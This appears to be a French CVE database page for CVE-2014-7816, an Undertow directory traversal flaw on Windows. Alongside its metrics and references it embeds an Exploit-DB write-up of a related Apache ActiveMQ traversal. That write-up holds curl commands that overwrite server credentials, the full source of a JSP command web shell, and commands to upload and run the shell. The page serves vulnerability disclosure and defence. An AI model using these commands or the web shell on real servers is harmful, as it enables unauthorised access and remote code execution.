CVE-2014-7816 : Détail

CVE-2014-7816

Directory Traversal
A01-Broken Access Control
7.6%V3
Network
2014-12-01
14h00 +00:00
2014-12-01
11h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Directory traversal vulnerability in JBoss Undertow 1.0.x before 1.0.17, 1.1.x before 1.1.0.CR5, and 1.2.x before 1.2.0.Beta3, when running on Windows, allows remote attackers to read arbitrary files via a .. (dot dot) in a resource URI.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 40857

Date de publication : 2015-08-16 22h00 +00:00
Auteur : David Jorm
EDB Vérifié : Yes

I have recently been playing with Apache ActiveMQ, and came across a simple but interesting directory traversal flaw in the fileserver upload/download functionality. I have only been able to reproduce this on Windows, i.e. where "\" is a path delimiter. An attacker could use this flaw to upload arbitrary files to the server, including a JSP shell, leading to remote code execution. Exploiting Windows systems to achieve RCE The default conf/jetty.xml includes: <bean class="org.eclipse.jetty.security.ConstraintMapping" id="securityConstraintMapping"> <property name="constraint" ref="securityConstraint"> <property name="pathSpec" value="/api/*,/admin/*,*.jsp"> </property></property> </bean> Effectively blocking the upload of JSP files into contexts that will allow them to execute. I imagine there are many ways around this; for my proof of concept I opted to overwrite conf/jetty-realm.properties and set my own credentials: $ cat jetty-realm.properties hacker: hacker, admin $ curl -v -X PUT --data "@jetty-realm.properties" http://TARGET:8161/fileserver/..\\conf\\jetty-realm.properties This seems to have the disadvantage of requiring a reboot of the server to take effect. I am not sure if that is always the case, but if so, I'm pretty sure there is some other workaround that wouldn't require a reboot. The attacker can then take a standard JSP shell: $ cat cmd.jsp <%@ page import="java.util.*,java.io.*"%> <% %> <HTML><BODY> Commands with JSP <FORM METHOD="GET" NAME="myform" ACTION=""> <INPUT TYPE="text" NAME="cmd"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre> <% if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "<BR>"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> </pre> </BODY></HTML> Upload it, exploiting the "..\" directory traversal flaw to put it into an executable context: $ curl -u 'hacker:hacker' -v -X PUT --data "@cmd.jsp" http://TARGET:8161/fileserver/..\\admin\\cmd.jsp And pop a calc on the server: $ curl -u 'hacker:hacker' -v -X GET http://TARGET:8161/admin/cmd.jsp?cmd=calc.exe Exploiting non-Windows servers All attempts at directory traversal on a Linux system failed - encoded, double encoded, and UTF-8 encoded "../" were all caught by Jetty. Only "..\" worked. That said, clients can specify the uploadUrl for a blob transfer, e.g.: tcp://localhost:61616?jms.blobTransferPolicy.uploadUrl=http://foo.com An attacker able to enqueue messages could use this to perform server side request forgery to an arbitrary uploadUrl target, even when running on non-Windows servers. Resolution The ActiveMQ project has released an advisory and patches. This is not the first instance of such a flaw in an open source Java application; CVE-2014-7816 comes to mind. It demonstrates that while Java may be platform independent, many developers are used to developing for a particular OS, and don't necessarily take cross-platform concerns into account.

Products Mentioned

Configuraton 0

Redhat>>Undertow >> Version To (including) 1.0.16

Redhat>>Undertow >> Version To (including) 1.1.0

Redhat>>Undertow >> Version To (including) 1.2.0

Microsoft>>Windows >> Version -

Références

http://www.securityfocus.com/bid/71328
Tags : vdb-entry, x_refsource_BID
http://seclists.org/oss-sec/2014/q4/830
Tags : mailing-list, x_refsource_MLIST